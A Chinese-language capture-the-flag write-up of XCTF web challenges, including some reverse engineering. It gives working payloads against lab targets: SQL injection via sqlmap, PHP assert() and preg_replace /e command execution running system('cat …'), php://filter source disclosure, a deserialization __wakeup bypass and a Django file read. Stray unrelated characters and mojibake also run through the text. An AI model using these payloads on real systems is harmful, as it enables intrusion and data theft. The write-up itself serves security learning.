新手練習區(qū)
view-source
F12得到flag俭茧。
get_post
HackBar一把梭。
robots
訪問robots.txt發(fā)現(xiàn)隱藏文件台囱,進入該文件獲得flag氏淑。
backup
index.php的備份文件應該是index.php.bak,訪問一下發(fā)現(xiàn)果然是骚烧,用記事本打開下載的文件得到flag浸赫。
cookie
看一下請求頭發(fā)現(xiàn)cookie.php
訪問cookie.php,在響應頭中有flag赃绊。
disabled_button
刪掉那個disabled既峡,再點擊按鈕就能拿到flag。
simple_js
查看源碼發(fā)現(xiàn)js腳本运敢,直覺感覺下面十六進制的才是flag(后來發(fā)現(xiàn)我的直覺果然很準)
把這個十六進制轉(zhuǎn)換一下得到幾個數(shù)字忠售,數(shù)字ASCII轉(zhuǎn)碼為字符串盼砍,加上格式得到flag。
xff_referer
放進BurpSuite的Repeater黔宛,按照題目要求修改一下請求頭就行近刘。
weak_auth
weak_auth,應該是弱密碼。
用戶名admin觉渴,密碼123456被我一下就試出來了……
webshell
直接上菜刀:
當前目錄下有個flag.txt介劫,打開就是flag。
command_execution
題目就叫命令執(zhí)行案淋,于是采用管道符連接ip地址和命令蜕猫。
一番搜索之后在家目錄下發(fā)現(xiàn)了flag的文件,cat命令讀取一下得到flag哎迄。
simple_php
代碼:
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
要求a不等于0并且轉(zhuǎn)換后等于0回右,那么根據(jù)PHP弱類型,a可以等于0a漱挚。b大于1234數(shù)字又不能是數(shù)字翔烁,b可以等于12345%00(%00是空字符)。
payload:?a=0a&b=12345%00
高手進階區(qū)
ics-06
很簡單的題旨涝,考察使用burpsuite爆破
進去之后隨便點了幾下發(fā)現(xiàn)這么一個頁面:
送分題蹬屹?(手動滑稽)
發(fā)現(xiàn)url里有個id,那么應該不是SQL注入就是爆破或者是偽協(xié)議讀源碼之類的白华。一番嘗試之后覺得應該是爆破慨默。
于是用BurpSuite抓包之后爆破,payload為2333時回顯有變化弧腥,查看響應信息得到flag厦取。
News Center
用sqlmap就能跑出來的SQL注入題
進去之后看到一個搜索頁面,前端還是用的MDUI管搪,233333
一般遇到這種都是SQL注入虾攻,看了一下network標簽發(fā)現(xiàn)是POST方式提交的search參數(shù),于是上sqlmap
sqlmap -u http://111.198.29.45:34382/ --data="search=1"
接下來就是sqlmap一把梭的事情了更鲁。
最后的過程有點慢霎箍,但是可以跑出來:
mfw
也是比較簡單的題,考察的是git源碼泄露和php assert任意命令執(zhí)行
在about頁面找到了這些:
Git澡为?那肯定要上githack了漂坏。
看了一下flag.php發(fā)現(xiàn)啥也沒有:
翻了翻源碼,在index.php里發(fā)現(xiàn)了一些可以利用的東西——熟悉的assert()函數(shù):
我在總結里寫過關于這個函數(shù)的知識:
http://www.reibang.com/p/5fd1b624fd7a
assert函數(shù)的參數(shù)為字符串時媒至,會將字符串當做PHP命令來執(zhí)行顶别。
例如:assert('phpinfo()')相當于執(zhí)行<?php phpinfo() ?>
所以只要用一個不存在的文件名閉合掉assert函數(shù)并令其等于false,再用system()和strpos()函數(shù)讀一下./templates/flag.php就可以了塘慕。
payload:?/page=about.php', '123') === false and system('cat templates/flag.php') and strpos('templates/flag
flag在網(wǎng)頁源代碼里筋夏,F(xiàn)12就看到了蒂胞。
NaNNaNNaNNaN-Batman
前端題图呢,主要是考察對JavaScript的熟悉程度
下載附件,用VSCode打開,發(fā)現(xiàn)是亂碼蛤织,但能看到HTML標簽和類似于JavaScript的代碼:
把這個文件的擴展名改為.html赴叹,保存,可以稍微看清楚一點(需要VSCode裝插件指蚜,就是保存的時候自動把代碼格式化的那種插件乞巧,想不起來叫什么了):
從上面的代碼中可以看出“_”是一個字符串變量,會用后面的eval()函數(shù)執(zhí)行摊鸡,其他的因為都是亂碼所以看不出來了绽媒。
卡了一段時間之后忽然想到為什么不能把這個字符串輸出一下呢?于是把eval改為console.log免猾,可以在console里得到?jīng)]有亂碼的字符串:
得到的字符串是標準的JavaScript代碼是辕,丟進VSCode看一下:
簡單來說就是經(jīng)過一系列正則匹配之后執(zhí)行一部分代碼,但是既然我們有了要執(zhí)行的代碼猎提,那還管正則匹配干什么呢获三,直接把需要執(zhí)行的那部分扔到console里執(zhí)行一下就可以了。
flag到手锨苏。
PHP2
考察.phps源碼泄露疙教、URL二次編碼繞過
一開始我也沒明白這個題是什么意思,看了大佬的wp才知道是有.phps源碼泄露:
phps文件就是php的源代碼文件伞租,通常用于提供給用戶(訪問者)查看php代碼贞谓,因為用戶無法直接通過Web瀏覽器看到php文件的內(nèi)容,所以需要用phps文件代替葵诈。其實经宏,只要不用php等已經(jīng)在服務器中注冊過的MIME類型為文件即可,但為了國際通用驯击,所以才用了phps文件類型烁兰。
訪問index.phps得到源碼:
看源碼就可以知道這個是很簡單的URL二次編碼繞過,所以payload:?id=ad%256din
flag到手徊都。
unserialize3
繞過魔法函數(shù)sleep()和wakeup()的反序列化漏洞
題目名叫unserialize3沪斟,那應該是跟反序列化有關的題目。
看一下源碼暇矫,出現(xiàn)了__wakeup()
這個魔法函數(shù):
unserialize()執(zhí)行時會檢查是否存在一個wakeup()方法主之。如果存在則先調(diào)用wakeup()方法,預先準備對象需要的資源李根。wakeup()經(jīng)常用在反序列化操作中槽奕。sleep()則相反,是在序列化一個對象的時候被調(diào)用房轿。
這個漏洞的核心是:序列化字符串中表示對象屬性個數(shù)的值大于真實的屬性個數(shù)時會跳過__wakeup()
的執(zhí)行粤攒。
將題目中的類序列化得到結果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
簡單解釋一下這個字符串:
O
代表結構類型為類
所森,4
表示類名長度
,然后是類名
夯接、成員個數(shù)
焕济。
大括號內(nèi)的值是:屬性名類型
、長度
盔几、名稱
晴弃;值類型
、長度
逊拍、值
上鞠。
如果我們把傳入序列化字符串的屬性個數(shù)改成比1更大的值,就不會觸發(fā)__wakeup()
方法芯丧,進而得到flag旗国。
payload:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
Cat
個人感覺比較綜合也比較難的題目,考察的是url編碼和django的知識
打開網(wǎng)頁發(fā)現(xiàn)是一個ping功能注整,但是輸入正常的用戶名沒有反應能曾,輸入ip地址有反應:
本來因為題目名叫cat,又是ping肿轨,以為是命令執(zhí)行寿冕,但是嘗試了|
、&
等都報錯椒袍,提示Invalid URL
驼唱。看來題目的本意并不是命令執(zhí)行驹暑。
看了網(wǎng)上一個大佬的wp才知道這個是跟Django有關的玫恳。網(wǎng)站本身是用PHP寫的,但是可能有Django的組成部分优俘。
在url里傳參%80
報錯(URL編碼是0~127京办,80的十六進制是128自然報錯),從報錯信息的目錄結構可以知道這個是Django的項目:
其他的沒什么信息帆焕,又去看了看大佬的wp惭婿,發(fā)現(xiàn)這個原來還需要用PHP的@前綴:
全部數(shù)據(jù)協(xié)議使用HTTP協(xié)議中的POST操作來發(fā)送。要發(fā)送文件叶雹,在文件名前加上@前綴并使用完整路徑……
根據(jù)Django的目錄特性财饥,用@進行文件傳遞,對文件進行讀取之后將內(nèi)容傳給url參數(shù)折晦,如果有錯誤信息就可以得到回顯钥星,進而取得更多錯誤信息、幫助我們拿到flag满着。
先看看settings.py:
payload: ?url=@/opt/api/api/settings.py
找到數(shù)據(jù)庫文件的存放位置:
看看這個文件:
payload: ?url=@/opt/api/database.sqlite3
搜索CTF得到flag谦炒。
ics-05
進去之后隨便點點發(fā)現(xiàn)了這個:
page=index贯莺,那應該可以用偽協(xié)議讀出源碼。
payload:page=php://filter/read=convert.base64-encode/resource=index.php
源碼到手编饺,base64解碼一下:
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>è???¤???′??¤??-???</title>
<meta charset="utf-8">
</head>
<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">?o‘?13??°è???¤???′??¤??-???</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>è???¤???—è?¨</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- è??é????? checked ???????€???a??ˉ??”?¤o -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="??€|?
3" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;
table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: 'è???¤????', templet: '#nameTpl' },
{ field: 'area', title: '??o???' },
{ field: 'status', title: '??′??¤????€?', minWidth: 120, sort: true },
{ field: 'check', title: 'è???¤???€?
3', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //?ˉ?è?a???hover???????€??o??o§è??????-‰???è?????é?€è|????èμ–element?¨???—
//??‘????ˉ?è?a??1???
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//?–1???????????°è?“?
¥è?“??o??????è??,?-£??¨??€??‘??-??????è???????aè????
é?¨?oo?‘??μ?èˉ?
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
</body>
</html>
發(fā)現(xiàn)了危險函數(shù)preg_replace(),存在命令執(zhí)行漏洞响驴。
preg_replace( pattern , replacement , subject ) : 當pattern指明/e標志時 ,preg_replace()會將replacement部分的代碼當作PHP代碼執(zhí)行 (簡單的說就是將replacement參數(shù)值放入eval()結構中)
payload:/index.php?pat=/test/e&rep=phpinfo()&sub=test
透且,這里還需要一個XFF繞過(至于為什么請看源碼),可以用BurpSuite的Repeater來測試:
最終拿到flag的payload:/index.php?pat=/test/e&rep=system('cat%20./s3chahahaDir/flag/flag.php')&sub=test
:
Triangle
進去之后先讀一波JavaScript源碼豁鲤,源碼的格式比較亂秽誊,可以用Chrome自帶的代碼格式化功能格式化一下:
util.js
function test_pw(e, _) {
var t = stoh(atob(getBase64Image("eye")))
, r = 4096
, m = 8192
, R = 12288
, a = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
a.reg_write_i32(uc.ARM_REG_R9, m),
a.reg_write_i32(uc.ARM_REG_R10, R),
a.reg_write_i32(uc.ARM_REG_R8, _.length),
a.mem_map(r, 4096, uc.PROT_ALL);
for (var o = 0; o < o1.length; o++)
a.mem_write(r + o, [t[o1[o]]]);
a.mem_map(m, 4096, uc.PROT_ALL),
a.mem_write(m, stoh(_)),
a.mem_map(R, 4096, uc.PROT_ALL),
a.mem_write(R, stoh(e));
var u = r
, c = r + o1.length;
return a.emu_start(u, c, 0, 0),
a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
var _ = stoh(atob(getBase64Image("frei")))
, t = 4096
, r = 8192
, m = 12288
, R = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
R.reg_write_i32(uc.ARM_REG_R8, r),
R.reg_write_i32(uc.ARM_REG_R9, m),
R.reg_write_i32(uc.ARM_REG_R10, e.length),
R.mem_map(t, 4096, uc.PROT_ALL);
for (var a = 0; a < o2.length; a++)
R.mem_write(t + a, [_[o2[a]]]);
R.mem_map(r, 4096, uc.PROT_ALL),
R.mem_write(r, stoh(e)),
R.mem_map(m, 4096, uc.PROT_ALL);
var o = t
, u = t + o2.length;
return R.emu_start(o, u, 0, 0),
htos(R.mem_read(m, e.length))
}
function get_pw() {
for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++)
_ += String.fromCharCode(e[o3[t]]);
return _
}
secret.js
function test_pw(e, _) {
var t = stoh(atob(getBase64Image("eye")))
, r = 4096
, m = 8192
, R = 12288
, a = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
a.reg_write_i32(uc.ARM_REG_R9, m),
a.reg_write_i32(uc.ARM_REG_R10, R),
a.reg_write_i32(uc.ARM_REG_R8, _.length),
a.mem_map(r, 4096, uc.PROT_ALL);
for (var o = 0; o < o1.length; o++)
a.mem_write(r + o, [t[o1[o]]]);
a.mem_map(m, 4096, uc.PROT_ALL),
a.mem_write(m, stoh(_)),
a.mem_map(R, 4096, uc.PROT_ALL),
a.mem_write(R, stoh(e));
var u = r
, c = r + o1.length;
return a.emu_start(u, c, 0, 0),
a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
var _ = stoh(atob(getBase64Image("frei")))
, t = 4096
, r = 8192
, m = 12288
, R = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
R.reg_write_i32(uc.ARM_REG_R8, r),
R.reg_write_i32(uc.ARM_REG_R9, m),
R.reg_write_i32(uc.ARM_REG_R10, e.length),
R.mem_map(t, 4096, uc.PROT_ALL);
for (var a = 0; a < o2.length; a++)
R.mem_write(t + a, [_[o2[a]]]);
R.mem_map(r, 4096, uc.PROT_ALL),
R.mem_write(r, stoh(e)),
R.mem_map(m, 4096, uc.PROT_ALL);
var o = t
, u = t + o2.length;
return R.emu_start(o, u, 0, 0),
htos(R.mem_read(m, e.length))
}
function get_pw() {
for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++)
_ += String.fromCharCode(e[o3[t]]);
return _
}
unicorn.js是一個JavaScript框架的源碼,暫時不去管它琳骡。
我們把get_pw()
在console里執(zhí)行一下得到返回值:
執(zhí)行enc_pw和test_pw得到返回值:
enc_pw: \x08\x00\xa0\xe1\x09\x10\xa0\xe1\x0a\x20\xa0\xe1\x00\x30\xa0\xe3\x00\x50\xa0\xe3\x00\x40\xd0\xe5\x01\x00\x55\xe3\x01\x00\x00\x1a\x03\x60\x03\xe2\x06\x40\x84\xe0\x06\x40\x84\xe2\x01\x50\x04\xe2\x00\x40\xc1\xe5\x01\x00\x80\xe2\x01\x10\x81\xe2\x01\x30\x83\xe2\x02\x00\x53\xe1\xf2\xff\xff\xba\x00\x00\xa0\xe3\x00\x10\xa0\xe3\x00\x20\xa0\xe3\x00\x30\xa0\xe3\x00\x40\xa0\xe3\x00\x50\xa0\xe3\x00\x60\xa0\xe3\x00\x70\xa0\xe3\x00\x90\xa0\xe3\x00\xa0\xa0\xe3
test_pw: \x09\x00\xa0\xe1\x0a\x10\xa0\xe1\x08\x30\xa0\xe1\x00\x40\xa0\xe3\x00\x50\xa0\xe3\x00\xc0\xa0\xe3\x00\x20\xd0\xe5\x00\x60\xd1\xe5\x05\x60\x86\xe2\x01\xc0\x04\xe2\x00\x00\x5c\xe3\x00\x00\x00\x0a\x03\x60\x46\xe2\x06\x00\x52\xe1\x05\x00\x00\x1a\x01\x00\x80\xe2\x01\x10\x81\xe2\x01\x40\x84\xe2\x03\x00\x54\xe1\xf1\xff\xff\xba\x01\x50\xa0\xe3\x00\x00\xa0\xe3\x00\x10\xa0\xe3\x00\x20\xa0\xe3\x00\x30\xa0\xe3\x00\x40\xa0\xe3\x00\x60\xa0\xe3\x00\x70\xa0\xe3\x00\x80\xa0\xe3\x00\x90\xa0\xe3\x00\xa0\xa0\xe3\x00\xc0\xa0\xe3
直接轉(zhuǎn)換得到的是亂碼锅论,卡了一會兒后才發(fā)現(xiàn)js源碼中出現(xiàn)了“ARM”,同時Unicorn.js里也有不少“ARM”:
百度了一下發(fā)現(xiàn)是一種CPU楣号,并找到一個十六進制與ARM代碼的轉(zhuǎn)換器:http://armconverter.com/hextoarm/
把text_pw和enc_pw得到的十六進制字符串去掉前面的\x并用轉(zhuǎn)換器轉(zhuǎn)換一下最易,得到以下匯編代碼:
enc_pw:
MOV R0, R8
MOV R1, SB
MOV R2, SL
MOV R3, #0
MOV R5, #0
LDRB R4, [R0]
CMP R5, #1
BNE #0x28
AND R6, R3, #3
ADD R4, R4, R6
ADD R4, R4, #6
AND R5, R4, #1
STRB R4, [R1]
ADD R0, R0, #1
ADD R1, R1, #1
ADD R3, R3, #1
CMP R3, R2
BLT #0x14
MOV R0, #0
MOV R1, #0
MOV R2, #0
MOV R3, #0
MOV R4, #0
MOV R5, #0
MOV R6, #0
MOV R7, #0
MOV SB, #0
MOV SL, #0
test_pw:
MOV R0, SB
MOV R1, SL
MOV R3, R8
MOV R4, #0
MOV R5, #0
MOV IP, #0
LDRB R2, [R0]
LDRB R6, [R1]
ADD R6, R6, #5
AND IP, R4, #1
CMP IP, #0
BEQ #0x34
SUB R6, R6, #3
CMP R2, R6
BNE #0x54
ADD R0, R0, #1
ADD R1, R1, #1
ADD R4, R4, #1
CMP R4, R3
BLT #0x18
MOV R5, #1
MOV R0, #0
MOV R1, #0
MOV R2, #0
MOV R3, #0
MOV R4, #0
MOV R6, #0
MOV R7, #0
MOV R8, #0
MOV SB, #0
MOV SL, #0
MOV IP, #0
完全不懂匯編的本渣渣表示徹底懵了,難道Web和逆向都精通才是未來的趨勢嗎炫狱?藻懒??
這其實是道逆向題视译。(霧)
于是只好去搜了wp嬉荆,發(fā)現(xiàn)上面的匯編碼用Python寫是這樣的:
enc_pw:
def enc_pw(s):
res = ''
f = 0
for i, c in enumerate(s):
c = ord(c)
if f == 1:
c += i & 3
c += 6
f = c & 1
res += chr(c)
return res
test_pw:
def test_pw(s, t):
for i, (c, d) in enumerate(zip(s, t)):
c, d = ord(c), ord(d)
c += 5
if i & 1:
c -= 3
if c != d:
return 0
return 1
解密腳本:
import string
def enc_pw(s):
res = ''
f = 0
for i, c in enumerate(s):
c = ord(c)
if f == 1:
c += i & 3
c += 6
f = c & 1
res += chr(c)
return res
encrypted = 'XYzaSAAX_PBssisodjsal_sSUVWZYYYb'
flag = ''
for i, c in enumerate(encrypted):
c = ord(c)
c -= 5
if i & 1 != 0:
c += 3
for d in string.printable:
if enc_pw(flag + d)[i] == chr(c):
flag += d
break
print flag
跑一下這個腳本得到flag。flag沒有格式酷含。
大佬的wp:https://st98.github.io/diary/posts/2017-10-25-hacklu-ctf-2017.html